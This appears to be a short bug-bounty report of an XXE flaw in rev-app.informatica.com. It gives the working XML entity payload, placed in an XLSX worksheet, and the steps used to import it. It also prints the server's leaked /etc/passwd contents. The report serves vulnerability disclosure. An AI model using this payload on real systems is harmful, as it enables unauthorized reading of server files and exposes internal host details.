[rev-app.informatica.com] - XXE

1. Open file xxe.xlsx like zip-archive 2. Read file xxe.xlsx\xl\worksheets\sheet1.xml In file I wrote XXE payload: <!DOCTYPE foo [ <!ELEMENT foo ANY ><!ENTITY xxe PUBLIC "lol" "file:///etc/passwd" >]> Then, i went to https://rev-app.informatica.com and made new project and imported my XLSX-file When it was impoted i see /etc/passwd file: root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin adm:x:3:4:adm:/var/adm:/sbin/nologin lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin sync:x:5:0:sync:/sbin:/bin/sync shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown halt:x:7:0:halt:/sbin:/sbin/halt mail:x:8:12:mail:/var/spool/mail:/sbin/nologin uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin operator:x:11:0:operator:/root:/sbin/nologin games:x:12:100:games:/usr/games:/sbin/nologin gopher:x:13:30:gopher:/var/gopher:/sbin/nologin ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin nobody:x:99:99:Nobody:/:/sbin/nologin dbus:x:81:81:System message bus:/:/sbin/nologin vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin abrt:x:173:173::/etc/abrt:/sbin/nologin haldaemon:x:68:68:HAL daemon:/:/sbin/nologin ntp:x:38:38::/etc/ntp:/sbin/nologin saslauth:x:499:76:Saslauthd user:/var/empty/saslauth:/sbin/nologin postfix:x:89:89::/var/spool/postfix:/sbin/nologin sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin oprofile:x:16:16:Special user account to be used by OProfile:/home/oprofile:/sbin/nologin ec2-user:x:500:500::/home/ec2-user:/bin/bash scom:x:501:501::/home/scom:/bin/bash nscd:x:28:28:NSCD Daemon:/:/sbin/nologin nslcd:x:65:55:LDAP Client User:/:/sbin/nologin dataprep:x:504:505::/home2/dataprep:/bin/bash zabbix:x:498:506::/home/zabbix:/bin/bash Video (private): https://youtu.be/612SgFdOrB0